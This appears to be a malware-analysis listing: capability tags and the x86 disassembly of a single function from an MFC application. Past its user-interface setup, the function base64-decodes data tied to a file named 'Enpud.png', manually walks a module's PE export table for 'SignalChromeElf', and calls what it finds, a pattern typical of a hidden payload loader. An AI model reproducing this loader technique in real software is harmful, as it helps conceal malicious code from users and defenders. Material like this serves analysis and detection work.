Function at 0x405940
Capabilities:
Decode data using base64 via winapi
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5981b0
mov eax, dword fs:[0]
push eax
sub esp, 0x260
mov eax, dword [0x609004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x26c], ebx
call fcn.00456b7d
lea ecx, [ebx + 0x2ff0]
mov dword [ebx], vtable.CMainFrame.0
call fcn.00485fda
lea ecx, [ebx + 0x3d80]
call fcn.0043557c
lea ecx, [ebx + 0x4ac0]
call fcn.0048a134
lea ecx, [ebx + 0x4d98]
call fcn.0041c37a
lea edi, [ebx + 0x4eb0]
mov ecx, edi
mov dword [ebp - 4], 0
call fcn.0042323f
mov dword [edi], vtable.CFileView.0
lea ecx, [edi + 0x368]
mov byte [ebp - 4], 1
call fcn.0040e44e
lea ecx, [edi + 0x3e8]
mov dword [edi + method.CTreeCtrl.virtual_0], vtable.CViewTree.0
mov byte [ebp - 4], 0
call fcn.0042241e
lea ecx, [edi + 0x3f0]
call fcn.0043557c
mov dword [edi + 0x3f0], 0x5e4478
lea edi, [ebx + 0x5fe0]
mov ecx, edi
mov dword [ebp - 4], 2
call fcn.0042323f
lea ecx, [edi + 0x368]
mov dword [edi], vtable.CClassView.0
call fcn.0043557c
mov dword [edi + method.CMFCToolBar.virtual_0], vtable.CClassToolBar.0
lea ecx, [edi + 0x10a8]
mov byte [ebp - 4], 3
call fcn.0040e44e
lea ecx, [edi + 0x1128]
mov dword [edi + 0x10a8], 0x5e6f10
mov byte [ebp - 4], 2
call fcn.0042241e
mov dword [edi + 0x1130], 0x91
lea edi, [ebx + 0x7118]
mov ecx, edi
mov dword [ebp - 4], 4
call fcn.0042323f
lea ecx, [edi + 0x368]
mov dword [edi], vtable.COutputWnd.0
call fcn.004a818a
lea ecx, [edi + 0x2d80]
mov byte [ebp - 4], 5
call fcn.0040e44e
mov dword [edi + 0x2d80], 0x5e5cfc
lea ecx, [edi + 0x2e00]
mov byte [ebp - 4], 6
call fcn.0040e44e
mov dword [edi + 0x2e00], 0x5e5cfc
lea ecx, [edi + 0x2e80]
mov byte [ebp - 4], 7
call fcn.0040e44e
mov dword [edi + 0x2e80], 0x5e5cfc
lea edi, [ebx + 0xa018]
mov ecx, edi
mov dword [ebp - 4], 8
call fcn.0042323f
mov dword [edi], vtable.CPropertiesWnd.0
lea ecx, [edi + 0x370]
mov dword [edi + 0x36c], 0
mov dword [edi + method.CFont.virtual_0], vtable.CFont.0
call fcn.0040e44e
lea ecx, [edi + 0x3f0]
mov dword [edi + method.CComboBox.virtual_0], vtable.CComboBox.0
call fcn.0043557c
lea ecx, [edi + 0x1130]
mov dword [edi + 0x3f0], 0x5e6840
call fcn.004ae321
push 0xd2
push str.ApplicationLook
mov ecx, 0x612af8
mov dword [edi + 0x1538], 0
mov dword [ebp - 4], 0xffffffff
call fcn.00459172
mov dword [0x612c10], eax
lea eax, [ebp - 0x228]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x228]
push 0x5c
push eax
call fcn.00577356
add esp, 8
test eax, eax
je 0x405b91
xor ecx, ecx
mov word [eax + 2], cx
push str.Enpud.png
lea eax, [ebp - 0x228]
push 0x104
push eax
call fcn.0057ee6d
mov eax, dword fs:[0x2c]
add esp, 0xc
mov ecx, dword [eax]
mov eax, dword [0x612c1c]
cmp eax, dword [ecx + 4]
jle 0x405bf6
push 0x612c1c
call fcn.005758dc
add esp, 4
cmp dword [0x612c1c], 0xffffffff
jne 0x405bf6
push 0x5a9dd0
mov dword [0x612c18], 0
call fcn.00575bee
push 0x612c1c
call fcn.00575892
add esp, 8
push 0x5e50d0
lea eax, [ebp - 0x228]
mov dword [ebp - 0x244], 0
push eax
lea eax, [ebp - 0x254]
mov dword [ebp - 0x240], 0
xor esi, esi
mov dword [ebp - 0x23c], 0
xor ebx, ebx
mov dword [ebp - 0x250], esi
push eax
mov dword [ebp - 0x248], ebx
call fcn.0057e944
lea ecx, [ebp - 0x244]
mov edx, eax
push ecx
mov ecx, dword [ebp - 0x254]
call fcn.00405620
mov eax, dword [ebp - 0x240]
lea ecx, [ebp - 0x22c]
mov edi, dword [ebp - 0x244]
add esp, 0x10
sub eax, edi
mov dword [ebp - 0x24c], ebx
mov dword [ebp - 0x254], eax
mov dword [ebp - 0x22c], ebx
push ebx
push ebx
push ecx
push ebx
push 1
push eax
push edi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x405d51
mov ecx, dword [ebp - 0x22c]
xor eax, eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x230], eax
test ecx, ecx
je 0x405cc0
push ecx
push ecx
lea ecx, [ebp - 0x238]
call fcn.00407450
mov eax, dword [ebp - 0x238]
push 0
push 0
lea ecx, [ebp - 0x22c]
push ecx
push eax
push 1
push dword [ebp - 0x254]
push edi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov edx, dword [ebp - 0x234]
lea eax, [ebp - 0x250]
push ecx
mov ecx, dword [ebp - 0x238]
sub edx, ecx
push eax
call fcn.004057a0
mov ecx, dword [ebp - 0x238]
add esp, 8
test ecx, ecx
je 0x405d45
mov edx, dword [ebp - 0x230]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x405d29
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ef9
push edx
push ecx
call fcn.00575c03
add esp, 8
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x234], ebx
mov dword [ebp - 0x230], ebx
mov esi, dword [ebp - 0x250]
mov ebx, dword [ebp - 0x248]
push esi
call fcn.004053c0
movaps xmm0, xmmword [str.SignalChromeElf]
movups xmmword [ebp - 0x20], xmm0
test eax, eax
jne 0x405dee
test esi, esi
je 0x405d98
sub ebx, esi
mov eax, esi
cmp ebx, 0x1000
jb 0x405d8e
mov esi, dword [esi - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405efe
push ebx
push esi
call fcn.00575c03
add esp, 8
test edi, edi
je 0x405dcc
mov ecx, dword [ebp - 0x23c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x405dc2
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405efe
push ecx
push edi
call fcn.00575c03
add esp, 8
mov eax, dword [ebp - 0x26c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005757bf
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x612c18]
mov dword [ebp - 0x254], ecx
mov eax, dword [ecx + 0x3c]
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov edx, dword [eax + 0x20]
add edx, ecx
mov dword [ebp - 0x260], edx
mov edx, dword [eax + 0x24]
add edx, ecx
mov dword [ebp - 0x264], edx
mov edx, dword [eax + 0x1c]
mov eax, dword [eax + 0x18]
add edx, ecx
mov dword [ebp - 0x25c], eax
xor eax, eax
mov dword [ebp - 0x268], edx
mov edx, dword [ebp - 0x260]
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x25c], eax
jbe 0x405e7a
mov eax, dword [edx + eax*4]
add eax, ecx
lea ecx, [ebp - 0x20]
push ecx
push eax
call fcn.0057f237
add esp, 8
test eax, eax
mov eax, dword [ebp - 0x258]
je 0x405ed7
mov ecx, dword [ebp - 0x254]
inc eax
mov edx, dword [ebp - 0x260]
mov dword [ebp - 0x258], eax
cmp eax, dword [ebp - 0x25c]
jb 0x405e43
test esi, esi
je 0x405ea4
sub ebx, esi
mov eax, esi
cmp ebx, 0x1000
jb 0x405e9a
mov esi, dword [esi - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405efe
push ebx
push esi
call fcn.00575c03
add esp, 8
test edi, edi
je 0x405dcc
mov ecx, dword [ebp - 0x23c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x405dc2
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405efe
jmp 0x405dc2
mov ecx, dword [ebp - 0x264]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x268]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp - 0x254]
je 0x405e7a
call eax
jmp 0x405d6a
call fcn.0057e78d
call fcn.0057e78d
int3